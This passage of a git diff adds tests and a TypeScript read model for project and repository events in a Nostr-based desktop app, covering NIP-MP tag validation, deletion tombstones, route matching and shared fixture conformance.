+      },
+      {
+        id: "attacker-comment",
+        kind: 1,
+        pubkey: ATTACKER,
+        created_at: 10_000,
+        content: "Future",
+        tags: [["e", "e".repeat(64), "", "root"]],
+      },
+    ],
+  );
+
+  assert.equal(nextProjectIssueCommentCreatedAt(issue, 200, AUTHOR), 202);
+  assert.equal(nextProjectIssueCommentCreatedAt(issue, 300, AUTHOR), 300);
+});
diff --git a/desktop/src/features/projects/projectModels.test.mjs b/desktop/src/features/projects/projectModels.test.mjs
new file mode 100644
index 0000000000..7be105584a
--- /dev/null
+++ b/desktop/src/features/projects/projectModels.test.mjs
@@ -0,0 +1,704 @@
+import assert from "node:assert/strict";
+import { readFileSync } from "node:fs";
+import test from "node:test";
+
+import {
+  addRepositoryToProject,
+  buildProjectReadModels,
+  eventToExplicitProject,
+  eventToRepository,
+  selectProjectRepository,
+} from "./projectModels.ts";
+import { projectMatchesRouteId } from "./projectRoutes.ts";
+
+const PROJECT_OWNER = "a".repeat(64);
+const FRONTEND_OWNER = "b".repeat(64);
+const BACKEND_OWNER = "c".repeat(64);
+const RELAY_ORIGIN = "https://relay.example";
+
+function repositoryEvent(owner, id, createdAt = 100) {
+  return {
+    id: `${id}-${createdAt}`,
+    kind: 30617,
+    pubkey: owner,
+    created_at: createdAt,
+    content: "",
+    tags: [
+      ["d", id],
+      ["name", id],
+    ],
+  };
+}
+
+function projectEvent(repositoryTags, overrides = {}) {
+  return {
+    id: "project-event",
+    kind: 30621,
+    pubkey: PROJECT_OWNER,
+    created_at: 200,
+    content: "ignored by NIP-MP readers",
+    tags: [
+      ["d", "sprout"],
+      ["name", "Sprout"],
+      ["description", "A multi-repository project"],
+      ["buzz-channel", "11111111-1111-4111-8111-111111111111"],
+      ...repositoryTags,
+    ],
+    ...overrides,
+  };
+}
+
+test("eventToRepository preserves repository-scoped identity and clone data", () => {
+  const repository = eventToRepository(
+    repositoryEvent(FRONTEND_OWNER, "frontend"),
+    RELAY_ORIGIN,
+  );
+
+  assert.equal(repository.id, `${FRONTEND_OWNER}:frontend`);
+  assert.equal(repository.repoAddress, `30617:${FRONTEND_OWNER}:frontend`);
+  assert.deepEqual(repository.cloneUrls, [
+    `${RELAY_ORIGIN}/git/${FRONTEND_OWNER}/frontend`,
+  ]);
+});
+
+test("buildProjectReadModels resolves repositories with a deterministic selection fallback", () => {
+  const frontendAddress = `30617:${PROJECT_OWNER}:frontend`;
+  const backendAddress = `30617:${PROJECT_OWNER}:backend`;
+  const projects = buildProjectReadModels({
+    projectEvents: [
+      projectEvent([
+        ["a", frontendAddress],
+        ["a", backendAddress, "wss://relay.example"],
+      ]),
+    ],
+    repositoryEvents: [
+      repositoryEvent(PROJECT_OWNER, "frontend"),
+      repositoryEvent(PROJECT_OWNER, "backend"),
+    ],
+    relayOrigin: RELAY_ORIGIN,
+  });
+
+  assert.equal(projects.length, 1);
+  assert.equal(projects[0].id, `30621:${PROJECT_OWNER}:sprout`);
+  assert.equal(projects[0].projectAddress, `30621:${PROJECT_OWNER}:sprout`);
+  assert.equal(projects[0].primaryRepositoryAddress, backendAddress);
+  assert.deepEqual(
+    projects[0].repositories.map((repository) => repository.repoAddress),
+    [backendAddress, frontendAddress],
+  );
+  assert.equal(
+    projects[0].repositoryRelayHints[backendAddress],
+    "wss://relay.example",
+  );
+});
+
+test("buildProjectReadModels keeps unclaimed repositories as implicit projects", () => {
+  const frontendAddress = `30617:${PROJECT_OWNER}:frontend`;
+  const projects = buildProjectReadModels({
+    projectEvents: [projectEvent([["a", frontendAddress]])],
+    repositoryEvents: [
+      repositoryEvent(PROJECT_OWNER, "frontend"),
+      repositoryEvent(BACKEND_OWNER, "backend"),
+    ],
+    relayOrigin: RELAY_ORIGIN,
+  });
+
+  assert.equal(projects.length, 2);
+  assert.equal(projects[0].legacy, false);
+  assert.equal(projects[1].legacy, true);
+  assert.equal(
+    projects[1].primaryRepositoryAddress,
+    projects[1].projectAddress,
+  );
+  assert.equal(projects[1].repositories[0].dtag, "backend");
+});
+
+test("buildProjectReadModels does not let an unauthorized project hide a repository", () => {
+  const frontendAddress = `30617:${FRONTEND_OWNER}:frontend`;
+  const projects = buildProjectReadModels({
+    projectEvents: [projectEvent([["a", frontendAddress]])],
+    repositoryEvents: [repositoryEvent(FRONTEND_OWNER, "frontend")],
+    relayOrigin: RELAY_ORIGIN,
+  });
+
+  assert.equal(projects.length, 2);
+  assert.equal(projects.filter((project) => project.legacy).length, 1);
+  assert.equal(projects.filter((project) => !project.legacy).length, 1);
+});
+
+test("project and repository routes stay distinct when coordinates share a d tag", () => {
+  const projects = buildProjectReadModels({
+    projectEvents: [projectEvent([])],
+    repositoryEvents: [repositoryEvent(PROJECT_OWNER, "sprout")],
+    relayOrigin: RELAY_ORIGIN,
+  });
+  const explicitProject = projects.find((project) => !project.legacy);
+  const implicitProject = projects.find((project) => project.legacy);
+
+  assert.notEqual(explicitProject.id, implicitProject.id);
+  assert.equal(
+    projectMatchesRouteId(explicitProject, explicitProject.projectAddress),
+    true,
+  );
+  assert.equal(
+    projectMatchesRouteId(explicitProject, implicitProject.projectAddress),
+    false,
+  );
+});
+
+test("addRepositoryToProject promotes a legacy repository route to a project coordinate", () => {
+  const [legacyProject] = buildProjectReadModels({
+    projectEvents: [],
+    repositoryEvents: [repositoryEvent(PROJECT_OWNER, "sprout")],
+    relayOrigin: RELAY_ORIGIN,
+  });
+  const attachedRepository = eventToRepository(
+    repositoryEvent(PROJECT_OWNER, "mobile"),
+    RELAY_ORIGIN,
+  );
+  const updated = addRepositoryToProject(
+    legacyProject,
+    attachedRepository,
+    300,
+  );
+
+  assert.equal(updated.id, `30621:${PROJECT_OWNER}:sprout`);
+  assert.equal(updated.legacy, false);
+  assert.equal(updated.repositories.length, 2);
+});
+
+test("selectProjectRepository honors a request and falls back to primary", () => {
+  const frontendAddress = `30617:${PROJECT_OWNER}:frontend`;
+  const projects = buildProjectReadModels({
+    projectEvents: [
+      projectEvent([
+        ["a", frontendAddress],
+        ["a", `30617:${PROJECT_OWNER}:backend`],
+      ]),
+    ],
+    repositoryEvents: [
+      repositoryEvent(PROJECT_OWNER, "frontend"),
+      repositoryEvent(PROJECT_OWNER, "backend"),
+    ],
+    relayOrigin: RELAY_ORIGIN,
+  });
+
+  assert.equal(
+    selectProjectRepository(projects[0], `${PROJECT_OWNER}:backend`)?.dtag,
+    "backend",
+  );
+  assert.equal(
+    selectProjectRepository(projects[0], "missing:repository")?.dtag,
+    "backend",
+  );
+  assert.equal(selectProjectRepository(projects[0], null)?.dtag, "backend");
+});
+
+function coordinateParts(coordinate) {
+  const first = coordinate.indexOf(":");
+  const second = coordinate.indexOf(":", first + 1);
+  return {
+    kind: Number(coordinate.slice(0, first)),
+    owner: coordinate.slice(first + 1, second),
+    dtag: coordinate.slice(second + 1),
+  };
+}
+
+function sortedJson(values) {
+  return values
+    .map((value) => JSON.stringify(value))
+    .sort()
+    .map((value) => JSON.parse(value));
+}
+
+test("buildProjectReadModels conforms to the shared NIP-MP fold fixtures", () => {
+  const fixture = JSON.parse(
+    readFileSync(
+      new URL(
+        "../../../../docs/nips/NIP-MP.fold-fixtures.json",
+        import.meta.url,
+      ),
+      "utf8",
+    ),
+  );
+
+  for (const [caseIndex, fixtureCase] of fixture.cases.entries()) {
+    let eventIndex = caseIndex * 100;
+    const hiddenAddresses = new Set();
+    const repositoryEvents = fixtureCase.repositories.flatMap((repository) => {
+      if (repository.viewer_hidden) hiddenAddresses.add(repository.coordinate);
+      if (repository.state !== "live") return [];
+      const { dtag, owner } = coordinateParts(repository.coordinate);
+      return [
+        {
+          ...repositoryEvent(
+            owner,
+            dtag,
+            repository.created_at ?? 1_000 - caseIndex,
+          ),
+          id: (++eventIndex).toString(16).padStart(64, "0"),
+          tags: [
+            ["d", dtag],
+            ["name", dtag],
+            ...(repository.maintainers?.length
+              ? [["maintainers", ...repository.maintainers]]
+              : []),
+          ],
+        },
+      ];
+    });
+    const projectEvents = fixtureCase.projects.flatMap((project) => {
+      if (project.viewer_hidden) hiddenAddresses.add(project.coordinate);
+      if (project.state !== "live") return [];
+      const { dtag, owner } = coordinateParts(project.coordinate);
+      return [
+        {
+          id: (++eventIndex).toString(16).padStart(64, "0"),
+          kind: 30621,
+          pubkey: owner,
+          created_at: project.created_at ?? 900 - caseIndex,
+          content: "",
+          tags: [
+            ["d", dtag],
+            ["name", dtag],
+            ...(project.visibility === "unlisted"
+              ? [["buzz-visibility", "unlisted"]]
+              : []),
+            ...project.members.map((member) => ["a", member]),
+          ],
+        },
+      ];
+    });
+
+    const projects = buildProjectReadModels({
+      projectEvents,
+      repositoryEvents,
+      relayOrigin: RELAY_ORIGIN,
+      hiddenAddresses,
+    });
+    const actualContainers = projects
+      .filter((project) => !project.legacy)
+      .map((project) => ({
+        project: project.projectAddress,
+        members: project.repositoryAddresses.flatMap((coordinate) => {
+          if (
+            project.repositories.some(
+              (repository) => repository.repoAddress === coordinate,
+            )
+          ) {
+            return [{ coordinate, render: "resolved" }];
+          }
+          return project.unavailableRepositoryAddresses?.includes(coordinate)
+            ? [{ coordinate, render: "unavailable" }]
+            : [];
+        }),
+      }));
+    const expectedContainers = fixtureCase.expect.containers.map(
+      (container) => ({
+        project: container.project,
+        members: sortedJson(container.members),
+      }),
+    );
+
+    assert.deepEqual(
+      sortedJson(
+        actualContainers.map((container) => ({
+          ...container,
+          members: sortedJson(container.members),
+        })),
+      ),
+      sortedJson(expectedContainers),
+      fixtureCase.name,
+    );
+    assert.deepEqual(
+      projects
+        .filter((project) => project.legacy)
+        .map((project) => project.projectAddress)
+        .sort(),
+      [...fixtureCase.expect.implicit_cards].sort(),
+      fixtureCase.name,
+    );
+  }
+});
+
+// ── NIP-MP ingest-fixture conformance (TypeScript parser) ──────────────────
+//
+// The shared NIP-MP.fixtures.json is the ingest oracle used by the relay
+// validator and the Rust CLI builder. The TypeScript read model must agree
+// on every accept/reject case so that relay and desktop never diverge about
+// which signed project heads are valid.
+
+test("buildProjectReadModels conforms to the shared NIP-MP ingest fixtures", () => {
+  const fixtures = JSON.parse(
+    readFileSync(
+      new URL("../../../../docs/nips/NIP-MP.fixtures.json", import.meta.url),
+      "utf8",
+    ),
+  );
+
+  const SIGNER = "a".repeat(64);
+
+  for (const fixtureCase of fixtures.cases) {
+    const event = {
+      id: "e".repeat(64),
+      kind: fixtureCase.template.kind,
+      pubkey: SIGNER,
+      created_at: 1_000,
+      content: fixtureCase.template.content,
+      tags: fixtureCase.template.tags,
+    };
+
+    // Use eventToExplicitProject directly — buildProjectReadModels only returns
+    // listed projects, so an unlisted-but-valid envelope (e.g. valid_unlisted)
+    // would be filtered out before we could observe it. The ingest oracle only
+    // cares whether the envelope parses successfully, not whether it reaches
+    // the rendered collection; eventToExplicitProject is the correct gate.
+    const parsed = eventToExplicitProject(event, new Map(), new Map());
+    const accepted = parsed !== null;
+
+    if (fixtureCase.expect === "accept") {
+      assert.equal(
+        accepted,
+        true,
+        `${fixtureCase.name}: expected accept, got reject`,
+      );
+    } else {
+      assert.equal(
+        accepted,
+        false,
+        `${fixtureCase.name}: expected reject, got accept`,
+      );
+    }
+  }
+});
+
+// ── NIP-09 tombstone deletion ───────────────────────────────────────────────
+
+test("buildProjectReadModels applies kind:5 tombstones to project events", () => {
+  const owner = "a".repeat(64);
+  const projectAddress = `30621:${owner}:platform`;
+  const projectEvent = {
+    id: "p".repeat(64),
+    kind: 30621,
+    pubkey: owner,
+    created_at: 100,
+    content: "",
+    tags: [
+      ["d", "platform"],
+      ["name", "Platform"],
+    ],
+  };
+  const deletionEvent = {
+    id: "d".repeat(64),
+    kind: 5,
+    pubkey: owner,
+    created_at: 200,
+    content: "",
+    tags: [["a", projectAddress]],
+  };
+
+  const withDeletion = buildProjectReadModels({
+    projectEvents: [projectEvent],
+    repositoryEvents: [],
+    deletionEvents: [deletionEvent],
+  });
+  assert.equal(
+    withDeletion.filter((p) => !p.legacy).length,
+    0,
+    "deleted project should not appear",
+  );
+
+  const withoutDeletion = buildProjectReadModels({
+    projectEvents: [projectEvent],
+    repositoryEvents: [],
+  });
+  assert.equal(
+    withoutDeletion.filter((p) => !p.legacy).length,
+    1,
+    "project without deletion should appear",
+  );
+});
+
+test("buildProjectReadModels applies kind:5 tombstones to repository events", () => {
+  const owner = "b".repeat(64);
+  const repoAddress = `30617:${owner}:relay`;
+  const repoEvent = {
+    id: "r".repeat(64),
+    kind: 30617,
+    pubkey: owner,
+    created_at: 100,
+    content: "",
+    tags: [
+      ["d", "relay"],
+      ["name", "relay"],
+    ],
+  };
+  const deletionEvent = {
+    id: "d".repeat(64),
+    kind: 5,
+    pubkey: owner,
+    created_at: 200,
+    content: "",
+    tags: [["a", repoAddress]],
+  };
+
+  const withDeletion = buildProjectReadModels({
+    projectEvents: [],
+    repositoryEvents: [repoEvent],
+    deletionEvents: [deletionEvent],
+  });
+  assert.equal(withDeletion.length, 0, "deleted repository should not appear");
+});
+
+test("buildProjectReadModels ignores a tombstone that predates the live head", () => {
+  const owner = "a".repeat(64);
+  const projectAddress = `30621:${owner}:platform`;
+  const projectEvent = {
+    id: "p".repeat(64),
+    kind: 30621,
+    pubkey: owner,
+    created_at: 200,
+    content: "",
+    tags: [["d", "platform"]],
+  };
+  // Deletion is at t=100, but the live head is at t=200 — should not apply.
+  const staleDeletion = {
+    id: "d".repeat(64),
+    kind: 5,
+    pubkey: owner,
+    created_at: 100,
+    content: "",
+    tags: [["a", projectAddress]],
+  };
+
+  const projects = buildProjectReadModels({
+    projectEvents: [projectEvent],
+    repositoryEvents: [],
+    deletionEvents: [staleDeletion],
+  });
+  assert.equal(
+    projects.filter((p) => !p.legacy).length,
+    1,
+    "head newer than tombstone must survive",
+  );
+});
+
+test("buildProjectReadModels rejects a tombstone signed by a different pubkey", () => {
+  const owner = "a".repeat(64);
+  const impostor = "b".repeat(64);
+  const projectAddress = `30621:${owner}:platform`;
+  const projectEvent = {
+    id: "p".repeat(64),
+    kind: 30621,
+    pubkey: owner,
+    created_at: 100,
+    content: "",
+    tags: [["d", "platform"]],
+  };
+  const foreignDeletion = {
+    id: "d".repeat(64),
+    kind: 5,
+    pubkey: impostor,
+    created_at: 200,
+    content: "",
+    tags: [["a", projectAddress]],
+  };
+
+  const projects = buildProjectReadModels({
+    projectEvents: [projectEvent],
+    repositoryEvents: [],
+    deletionEvents: [foreignDeletion],
+  });
+  assert.equal(
+    projects.filter((p) => !p.legacy).length,
+    1,
+    "a stranger's tombstone must not delete someone else's project",
+  );
+});
+
+// ── Route contract ──────────────────────────────────────────────────────────
+
+test("projectMatchesRouteId resolves a 30617 coordinate to the containing project", () => {
+  const projectOwner = "a".repeat(64);
+  const repoOwner = "c".repeat(64);
+  const repoAddress = `30617:${repoOwner}:relay`;
+  const projects = buildProjectReadModels({
+    projectEvents: [
+      {
+        id: "project-event",
+        kind: 30621,
+        pubkey: projectOwner,
+        created_at: 200,
+        content: "",
+        tags: [
+          ["d", "platform"],
+          ["a", repoAddress],
+        ],
+      },
+    ],
+    repositoryEvents: [
+      {
+        id: "repo-event",
+        kind: 30617,
+        pubkey: repoOwner,
+        created_at: 100,
+        content: "",
+        tags: [
+          ["d", "relay"],
+          ["name", "relay"],
+          ["maintainers", projectOwner],
+        ],
+      },
+    ],
+  });
+  const explicitProject = projects.find((p) => !p.legacy);
+  assert.ok(explicitProject, "explicit project must be present");
+
+  // Entity link navigates with the 30617 coordinate (repo dtag ≠ project dtag).
+  assert.equal(
+    projectMatchesRouteId(explicitProject, repoAddress),
+    true,
+    "30617 route must resolve to the containing project",
+  );
+  // Legacy project (implicit card for an unclaimed repo) must NOT match the
+  // explicit project's 30621 coordinate.
+  assert.equal(
+    projectMatchesRouteId(explicitProject, `30617:${projectOwner}:platform`),
+    false,
+    "unrelated 30617 address must not match",
+  );
+});
+
+// ── 30617 route selects the correct repository (finding 4 regression gate) ──
+//
+// When `projectId` is a `30617:<owner>:<d>` coordinate (emitted by entity
+// links in #4695), `selectProjectRepository` must resolve to the repository
+// whose `id` is `<owner>:<d>` — not to the project's primary repository.
+// This test verifies the DI contract that `ProjectDetailScreen` uses to derive
+// `routeRepositoryId` from `projectId`.
+
+test("selectProjectRepository resolves a non-primary repository when repositoryId is derived from a 30617 projectId", () => {
+  const OWNER = "a".repeat(64);
+  const OTHER = "b".repeat(64);
+
+  const primaryRepo = {
+    id: `${OWNER}:buzz`,
+    dtag: "buzz",
+    name: "Buzz",
+    repoAddress: `30617:${OWNER}:buzz`,
+    owner: OWNER,
+    cloneUrls: [],
+    webUrl: null,
+    description: "",
+    contributors: [],
+    createdAt: 100,
+    status: "active",
+    defaultBranch: "main",
+  };
+  const nonPrimaryRepo = {
+    id: `${OTHER}:relay-tools`,
+    dtag: "relay-tools",
+    name: "Relay Tools",
+    repoAddress: `30617:${OTHER}:relay-tools`,
+    owner: OTHER,
+    cloneUrls: [],
+    webUrl: null,
+    description: "",
+    contributors: [],
+    createdAt: 80,
+    status: "active",
+    defaultBranch: "main",
+  };
+
+  const project = {
+    id: `30621:${OWNER}:buzz`,
+    dtag: "buzz",
+    name: "Buzz",
+    description: "",
+    owner: OWNER,
+    createdAt: 100,
+    projectChannelId: null,
+    status: "active",
+    projectAddress: `30621:${OWNER}:buzz`,
+    primaryRepositoryAddress: primaryRepo.repoAddress,
+    repositoryAddresses: [primaryRepo.repoAddress, nonPrimaryRepo.repoAddress],
+    repositories: [primaryRepo, nonPrimaryRepo],
+    unavailableRepositoryAddresses: [],
+    visibility: "listed",
+    legacy: false,
+  };
+
+  // Without a repositoryId: falls back to primary.
+  assert.equal(
+    selectProjectRepository(project, undefined)?.id,
+    primaryRepo.id,
+    "no repositoryId must yield the primary repository",
+  );
+
+  // With a repositoryId derived from the 30617 coordinate (as ProjectDetailScreen does):
+  // "30617:<owner>:<d>".slice("30617:".length) === "<owner>:<d>" === Repository.id
+  const routeRepositoryId = nonPrimaryRepo.repoAddress.slice("30617:".length);
+  assert.equal(
+    routeRepositoryId,
+    nonPrimaryRepo.id,
+    "routeRepositoryId derivation must equal Repository.id",
+  );
+  assert.equal(
+    selectProjectRepository(project, routeRepositoryId)?.id,
+    nonPrimaryRepo.id,
+    "derived repositoryId from 30617 coordinate must resolve to non-primary repository",
+  );
+  assert.notEqual(
+    selectProjectRepository(project, routeRepositoryId)?.id,
+    primaryRepo.id,
+    "non-primary linked repo must NOT fall back to primary",
+  );
+});
+
+// ── Tombstone exhaustive enumeration gate (finding 3) ───────────────────────
+//
+// Verifies that `buildProjectReadModels` applies ALL deletion events in the
+// supplied array — not just the first 2000 — proving the exhaustive-enumeration
+// path (via `fetchProjectEventsExhaustively` in `fetchProjects`) makes a
+// difference. The prior code capped kind:5 at 2000; this test ensures deletion
+// 2001+ is honoured when the exhaustive path is used.
+
+test("buildProjectReadModels applies deletion beyond the 2000-event boundary", () => {
+  const OWNER = "a".repeat(64);
+
+  // The project we want to verify is deleted (it's beyond event 2000).
+  const targetDtag = "beyond-limit";
+  const targetAddress = `30621:${OWNER}:${targetDtag}`;
+
+  const projectEvent = {
+    id: "p".repeat(64),
+    kind: 30621,
+    pubkey: OWNER,
+    created_at: 100,
+    content: "",
+    tags: [["d", targetDtag]],
+  };
+
+  // Build 2001 deletion events; the target is the last one.
+  const deletionEvents = Array.from({ length: 2001 }, (_, i) => ({
+    id: String(i).padStart(64, "0"),
+    kind: 5,
+    pubkey: OWNER,
+    created_at: 200,
+    content: "",
+    tags: [["a", i < 2000 ? `30621:${OWNER}:filler-${i}` : targetAddress]],
+  }));
+
+  const projects = buildProjectReadModels({
+    projectEvents: [projectEvent],
+    repositoryEvents: [],
+    deletionEvents,
+    relayOrigin: null,
+  });
+
+  assert.equal(
+    projects.length,
+    0,
+    "project at deletion event 2001+ must be suppressed when all tombstones are applied",
+  );
+});
diff --git a/desktop/src/features/projects/projectModels.ts b/desktop/src/features/projects/projectModels.ts
new file mode 100644
index 0000000000..6d539b54d9
--- /dev/null
+++ b/desktop/src/features/projects/projectModels.ts
@@ -0,0 +1,550 @@
+import type { RelayEvent } from "@/shared/api/types";
+import {
+  KIND_PROJECT_ANNOUNCEMENT,
+  KIND_REPO_ANNOUNCEMENT,
+} from "@/shared/constants/kinds";
+import { effectiveCloneUrls } from "./lib/projectCloneUrl";
+
+export type Repository = {
+  id: string;
+  dtag: string;
+  name: string;
+  description: string;
+  cloneUrls: string[];
+  webUrl: string | null;
+  owner: string;
+  contributors: string[];
+  createdAt: number;
+  status: string;
+  defaultBranch: string;
+  repoAddress: string;
+  maintainers?: string[];
+  channelId?: string | null;
+  eventContent?: string;
+  eventTags?: string[][];
+};
+
+export type Project = {
+  id: string;
+  dtag: string;
+  name: string;
+  description: string;
+  owner: string;
+  createdAt: number;
+  projectChannelId: string | null;
+  status: string;
+  projectAddress: string;
+  primaryRepositoryAddress: string | null;
+  repositoryAddresses: string[];
+  repositoryRelayHints?: Record<string, string>;
+  repositories: Repository[];
+  unavailableRepositoryAddresses?: string[];
+  visibility?: "listed" | "unlisted";
+  legacy: boolean;
+};
+
+type BuildProjectReadModelsInput = {
+  projectEvents: RelayEvent[];
+  repositoryEvents: RelayEvent[];
+  /** NIP-09 kind:5 deletion events relevant to projects and repositories. */
+  deletionEvents?: RelayEvent[];
+  relayOrigin?: string | null;
+  hiddenAddresses?: ReadonlySet<string>;
+};
+
+const MAX_D_TAG_BYTES = 1_024;
+
+function getTag(event: RelayEvent, name: string): string | undefined {
+  const value = event.tags.find((tag) => tag[0] === name)?.[1];
+  return typeof value === "string" && value.length > 0 ? value : undefined;
+}
+
+function getAllTags(event: RelayEvent, name: string): string[] {
+  return event.tags
+    .filter(
+      (tag) =>
+        tag[0] === name && typeof tag[1] === "string" && tag[1].length > 0,
+    )
+    .map((tag) => tag[1]);
+}
+
+function getAllTagValues(event: RelayEvent, name: string): string[] {
+  return event.tags
+    .filter((tag) => tag[0] === name)
+    .flatMap((tag) => tag.slice(1))
+    .filter((value) => value.length > 0);
+}
+
+function getCloneUrls(event: RelayEvent): string[] {
+  const tag = event.tags.find((candidate) => candidate[0] === "clone");
+  return tag?.slice(1).filter((value) => value.length > 0) ?? [];
+}
+
+function isValidDTag(value: string): boolean {
+  return (
+    value.length > 0 &&
+    new TextEncoder().encode(value).byteLength <= MAX_D_TAG_BYTES
+  );
+}
+
+function isValidPubkey(value: string): boolean {
+  return /^[a-fA-F0-9]{64}$/.test(value);
+}
+
+/**
+ * Validates a pubkey as a lowercase-only 64-hex string, per NIP-MP rule
+ * `member-coordinate-malformed`: owner hex MUST be lowercase so that `#a`
+ * filter matching (which is byte-exact) can resolve the coordinate.
+ */
+function isValidProjectMemberOwner(value: string): boolean {
+  return /^[0-9a-f]{64}$/.test(value);
+}
+
+/** NIP-MP rule `member-cap`: a project may carry at most 64 member `a` tags. */
+export const MAX_PROJECT_MEMBERS = 64;
+
+export function isValidProjectChannelId(value: string): boolean {
+  return /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(
+    value,
+  );
+}
+
+const SINGLETON_METADATA_TAGS = [
+  "name",
+  "description",
+  "buzz-channel",
+  "buzz-visibility",
+] as const;
+
+const MAX_METADATA_TAG_BYTES: Record<string, number> = {
+  name: 256,
+  description: 2_048,
+  "buzz-channel": 256,
+  "buzz-visibility": 256,
+};
+
+/**
+ * Validates the NIP-MP tag/content envelope for a kind:30621 project event.
+ * Shared by both the read parser (`eventToExplicitProject`) and the write
+ * helper (`buildProjectPatchTemplate`) so Desktop's input and output agree on
+ * which heads are valid.
+ *
+ * Throws a descriptive error on the first violation found.
+ */
+export function validateProjectEventEnvelope(
+  tags: string[][],
+  content: string,
+): void {
+  // NIP-MP rule `d-cardinality`: exactly one `d` tag is required.
+  const dTags = tags.filter((tag) => tag[0] === "d");
+  if (dTags.length !== 1 || !dTags[0][1]) {
+    throw new Error(
+      `NIP-MP: expected exactly one non-empty 'd' tag, found ${dTags.length}.`,
+    );
+  }
+  const dtag = dTags[0][1];
+  if (!isValidDTag(dtag)) {
+    throw new Error(`NIP-MP: 'd' tag value exceeds the maximum byte length.`);
+  }
+
+  // NIP-MP rule `metadata-cardinality`: at most one each of the singleton tags.
+  const encoder = new TextEncoder();
+  for (const tagName of SINGLETON_METADATA_TAGS) {
+    const count = tags.filter((tag) => tag[0] === tagName).length;
+    if (count > 1) {
+      throw new Error(
+        `NIP-MP: duplicate '${tagName}' tag — at most one is permitted.`,
+      );
+    }
+  }
+
+  // NIP-MP rule `metadata-length`: per-field byte caps.
+  for (const [tagName, maxBytes] of Object.entries(MAX_METADATA_TAG_BYTES)) {
+    const value = tags.find((tag) => tag[0] === tagName)?.[1];
+    if (value !== undefined && encoder.encode(value).byteLength > maxBytes) {
+      throw new Error(
+        `NIP-MP: '${tagName}' tag value exceeds the ${maxBytes}-byte limit.`,
+      );
+    }
+  }
+
+  // NIP-MP rule `member-cap`: at most 64 `a` membership tags.
+  const memberTags = tags.filter((tag) => tag[0] === "a");
+  if (memberTags.length > MAX_PROJECT_MEMBERS) {
+    throw new Error(
+      `NIP-MP: project exceeds the ${MAX_PROJECT_MEMBERS}-member limit.`,
+    );
+  }
+
+  // NIP-MP rule `member-coordinate-malformed` + `member-arity`:
+  // each `a` tag must be a valid repository coordinate with a lowercase owner,
+  // and must carry 2 or 3 elements (address + optional relay hint).
+  const seenAddresses = new Set<string>();
+  for (const tag of memberTags) {
+    const address = tag[1];
+    if (!address) {
+      throw new Error("NIP-MP: 'a' tag is missing a repository address.");
+    }
+    if (tag.length !== 2 && tag.length !== 3) {
+      throw new Error(
+        `NIP-MP: 'a' tag for '${address}' must have 2 or 3 elements.`,
+      );
+    }
+    const parsed = parseRepositoryAddress(address);
+    if (!parsed) {
+      throw new Error(
+        `NIP-MP: invalid repository address '${address}' — expected '30617:<lowercase-hex64>:<dtag>'.`,
+      );
+    }
+    if (seenAddresses.has(address)) {
+      throw new Error(`NIP-MP: duplicate repository address '${address}'.`);
+    }
+    seenAddresses.add(address);
+  }
+
+  void content; // content is preserved verbatim; no constraint in NIP-MP.
+}
+
+function deduplicateAddressableEvents(events: RelayEvent[]): RelayEvent[] {
+  const latest = new Map<string, RelayEvent>();
+  for (const event of events) {
+    const dtag = getTag(event, "d");
+    if (!dtag) continue;
+    const key = `${event.kind}:${event.pubkey.toLowerCase()}:${dtag}`;
+    const current = latest.get(key);
+    if (
+      !current ||
+      event.created_at > current.created_at ||
+      (event.created_at === current.created_at && event.id < current.id)
+    ) {
+      latest.set(key, event);
+    }
+  }
+  return [...latest.values()];
+}
+
+function parseRepositoryAddress(
+  value: string,
+): { owner: string; dtag: string } | null {
+  const firstSeparator = value.indexOf(":");
+  const secondSeparator = value.indexOf(":", firstSeparator + 1);
+  if (
+    value.slice(0, firstSeparator) !== String(KIND_REPO_ANNOUNCEMENT) ||
+    secondSeparator < 0
+  ) {
+    return null;
+  }
+
+  const owner = value.slice(firstSeparator + 1, secondSeparator);
+  const dtag = value.slice(secondSeparator + 1);
+  return isValidProjectMemberOwner(owner) && isValidDTag(dtag)
+    ? { owner, dtag }
+    : null;
+}
+
+export function eventToRepository(
+  event: RelayEvent,
+  relayOrigin?: string | null,
+): Repository | null {
+  const dtag = getTag(event, "d");
+  if (
+    event.kind !== KIND_REPO_ANNOUNCEMENT ||
+    !dtag ||
+    !isValidDTag(dtag) ||
+    !isValidPubkey(event.pubkey)
+  ) {
+    return null;
+  }
+
+  const owner = event.pubkey.toLowerCase();
+  const setupUsers = getAllTags(event, "auth");
+  const channel = getTag(event, "buzz-channel");
+  return {
+    id: `${owner}:${dtag}`,
+    dtag,
+    name: getTag(event, "name") ?? dtag,
+    description: getTag(event, "description") ?? event.content ?? "",
+    cloneUrls: effectiveCloneUrls(
+      getCloneUrls(event),
+      relayOrigin,
+      owner,
+      dtag,
+    ),
+    webUrl: getTag(event, "web") ?? null,
+    owner,
+    contributors: [...new Set([...getAllTags(event, "p"), ...setupUsers])],
+    createdAt: event.created_at,
+    status: getTag(event, "status") ?? "active",
+    defaultBranch: getTag(event, "default-branch") ?? "main",
+    repoAddress: `${KIND_REPO_ANNOUNCEMENT}:${owner}:${dtag}`,
+    channelId: channel && isValidProjectChannelId(channel) ? channel : null,
+    eventContent: event.content,
+    eventTags: event.tags.map((tag) => [...tag]),
+    maintainers: getAllTagValues(event, "maintainers")
+      .map((maintainer) => maintainer.toLowerCase())
+      .filter(isValidPubkey),
+  };
+}
+
+export function eventToExplicitProject(
+  event: RelayEvent,
+  repositoriesByAddress: ReadonlyMap<string, Repository>,
+  visibleRepositoriesByAddress: ReadonlyMap<string, Repository>,
+): Project | null {
+  if (
+    event.kind !== KIND_PROJECT_ANNOUNCEMENT ||
+    !isValidPubkey(event.pubkey)
+  ) {
+    return null;
+  }
+
+  // Delegate all NIP-MP envelope validation to the shared validator so the
+  // read parser and the write helper (`buildProjectPatchTemplate`) agree on
+  // which heads are valid. The parser rejects invalid events silently (returns
+  // null) while the write helper throws, so wrap in a try/catch here.
+  try {
+    validateProjectEventEnvelope(event.tags, event.content);
+  } catch {
+    return null;
+  }
+
+  // After validation we know: exactly one `d` tag with a valid value, at most
+  // 64 `a` tags with valid repo coordinates, no duplicate addresses, and all
+  // singleton metadata tags within their byte caps.
+  const dtag = event.tags.find((tag) => tag[0] === "d")?.[1] ?? "";
+  const membershipTags = event.tags.filter((tag) => tag[0] === "a");
+  const repositoryAddresses: string[] = [];
+  const repositoryRelayHints: Record<string, string> = {};
+  for (const membershipTag of membershipTags) {
+    const repositoryAddress = membershipTag[1];
+    repositoryAddresses.push(repositoryAddress);
+    if (membershipTag[2]) {
